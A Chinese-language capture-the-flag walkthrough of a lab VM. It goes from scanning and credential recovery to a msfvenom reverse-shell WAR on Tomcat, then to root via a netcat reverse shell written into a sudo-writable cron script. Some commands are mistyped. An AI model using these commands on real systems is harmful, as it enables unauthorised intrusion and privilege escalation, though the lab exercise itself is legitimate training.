该靶场的ip:192.168.110.140 ,我们要设置为仅主机模式。在虚拟机中将仅主机模式的ip地址范围包含靶机的ip。除了网络设置,还要准备两台kali。一台连接外网,一台和靶机一样要仅主机模式。
启动靶机,启动kali攻击机。现在了解的信息就一个:IP。首先用nmap扫描端口,看看开启了什么服务。
namp -T4 -A -v 192.168.110.140
发现端口大量的开放,推测应该是安装了蜜罐之类的防护。那我们用最常用的服务端口:80 试一试看看能否有网站服务。用浏览器,下图不是直接访问看到的页面,而是超链接的页面。 这个页面找信息,发现最后Employee portal是连接一个网站的 Impresscms:
也可以用命令。
curl 192.168.110.140 网站得到的信息很简单,就是文字信息、一张图片,超链接,以及源码中一串字符,这种字符我们要警惕一下,看看能否得到信息。解密一下。发现还是一串没有明确意义的字符,
那再解密,发现有了。记录下来,他的格式有点 usser:password 的形式。
这里信息得到了,先把目录扫描一下,看看是否有发现。
dirb http://192.168.110.140
工具:whatweb 或者 cmseek 可以查出开源的cms的信息。 CMS(内容管理系统)是 Impresscms, 识别出来可以用 MSF工具查找该版本的CMS有什么漏洞 命令:searchsloit impresscms
whatweb -v http://192.168.110.140/impresscms(这里截的图不对,但意思差不对) 并没有发现该版本的漏洞。
上面的得到信息有:一串解密后的字符、CMS。 我们开始对cms着手, 用得到的字符试一下能否登录 【如果登录不了的话,有其他的方法:暴力破解、sql注入等方式】 这里是可以登录的 (这里就对应了刚开始的信息,网站不是又黑客攻击,而是内部员工) 登录后台,我们就要仔细的查看信息了,找的过程中有两个文件下载。 第一个 keystore文件 另一个文件.pcap文件 文章中还提到了 keypassword 是 tomcat 我们打开pcap文件看看,是抓包的文件,
上面抓包文件查看信息,是否有可利用的信息。发现有的。TLS协议是一个加密的协议, .keystore文件:密钥和证书储存的地方。导出用java的JDK带的keytool工具
keytool -importkeystore -srckeystore D:\Download\keystore -destkeystore D:\download\tocmat.p12 -deststoretype PKCS12 -srcalias tomcat 密码是tomcat 在D盘下得到一个tocmat.p12文件,用它去wireshark中解密的
开始解密TLS 找到协议中的TLS ,Edit中输入IP 端口(在数据包里可以看到),协议,Keyfile是上面解的tocmat.p12文件。password是tomcat 解密后筛选发现GET /_M@nag3Me/http 地址。可以查看一下。【利用Burpsuit的的证书来访问,直接访问是失败的】查看得到了一个登录页面。 这里登录页面,我们的方法可以用暴力破解,SQL注入。但是又数据包 还是先找一下数据包里是否有信息。 利用它试一下登录 Tomcat的后台
Tomcat中间件,有文件上传的地方。因为要部署应用啊。 这里就好办了,MSF可以生成反弹链接的。【注意:反弹连接我们要用仅主机模式的kali攻击机(ip192.168.110.128),因为他们处于同一个网络下,可以连接的】 因为是上传文件,那就生成一个反弹连接的文件。步骤如下 java程序,就生成Java的反弹连接代码。
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.128 lport=4444 -f war -0 shell.war
把文件传入到物理机中,用Xshell连接kali,然后用命令上传
sz file shell.war
把这个shell.war文件传到靶机中,并且访问才能触发 建立连接。 触发前还要建立监听才行。 这个连接要在仅主机模式下的kali中建立监听,步骤如下
msfconsole use exploit/multi/handler set payload java/meterpreter/reverse_tcp set lhoat 192.168.110.128 set lport 4444 exploit
我们生成了反弹连接的文件,建立了监听,现在该上传了
上传后在上方页面中会有shell文件名出现,点击一下。 反弹连接建立成功,可以获取一些信息,比如 sysinfo 系统信息 这里是非交互的命令,可以用 python实现。(前提是当前有python环境)
python -C import pty;pty spawn(“/bin/bash”) 到这里后一般步骤 ①找操作系统的漏洞(在msf中用命令 searchsploit) ②find;ls-a 找敏感文件 隐藏文件 ③history 历史命令 ④su -l 看看该用户能执行的root命令
先看看操作系统的漏洞,先查版本 uname -a 找漏洞,没有该版本的漏洞行不通,再找敏感文件。一般都是找 /etc/passwd
这里看到了mysql说明有数据库,那我们想想,网站一般都用到了数据库,还要配置数据库,那这些配置文件中会用数据库的用户名和密码,哈,前面的信息中是知道用户在apache上搭建网站的,那么apache的根目录 /var/www中去找,在一个非常规的文件夹中找到了。 登录数据库找一下。 上面的milton用户,密码加密了看着像MD5去解一下 看看是不是系统用户和密码, 登录到了上面, 查看当前目录文件:发现的信息不多,图片、脚本等。脚本里没有发现信息。 那就查看一下该用户的历史命令 history 这里得到还有其他用户,blumbergh用户。可以找密码。 如何获得blumbergh用户密码呢?? 这里最先前的网站里的图片才能找到。我们先下载图片。
用命令:下载下来。
wget http://192.168.110.140/images/bill.png
那么如何去从图片中得到信息呢?? 用很多的方法,我们用 exiftool 来获取。【也可以用strings来获取】
exiftool * | grep -i -e ‘bill.png’ -e ‘Comment’ strings bill.png
strings获取的su切换用户: 这里还是老步骤
①找操作系统的漏洞(在msf中用命令 searchsploit) ②find;ls-a 找敏感文件 隐藏文件 ③history 历史命令 ④su -l 看看该用户能执行的root命令
查看当前目录文件 没有发现,查看历史命令 history 将上面命令中的一些文件查看一下。 发现这个是一个定时任务,定时删除一些黑客攻击的文件。
再查看 sudo -l 当前用户可以执行的root权限的命令。 两个 tee 和tidyup.sh 其中tidyup.sh 就是那个定时任务的脚本。 tee命令:用于显示程序的输出并将其复制到一个文件中。 那么我们就可以将我们攻击代码 ,写入到定时任务的文件中。那我们就可以用反弹连接提权。
nc -c /bin/bash 192.168.110.128 5555
将反弹连接输入到一个文件中,
echo “nc -c /bin/bash 192.168.110.128 5555”>> shell.txt
将文件输入到tidyup.sh 文件中 之前,我们先建立一个监听(新命令页面) 再仅主机的kali机中。 开始写入:
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
这时我们只需等待监听结果 这里我们是通过root权限建立的反弹连接,我们应该是有root用户权限的。 到这里就得到了root权限连接,就可以获得 flag 了。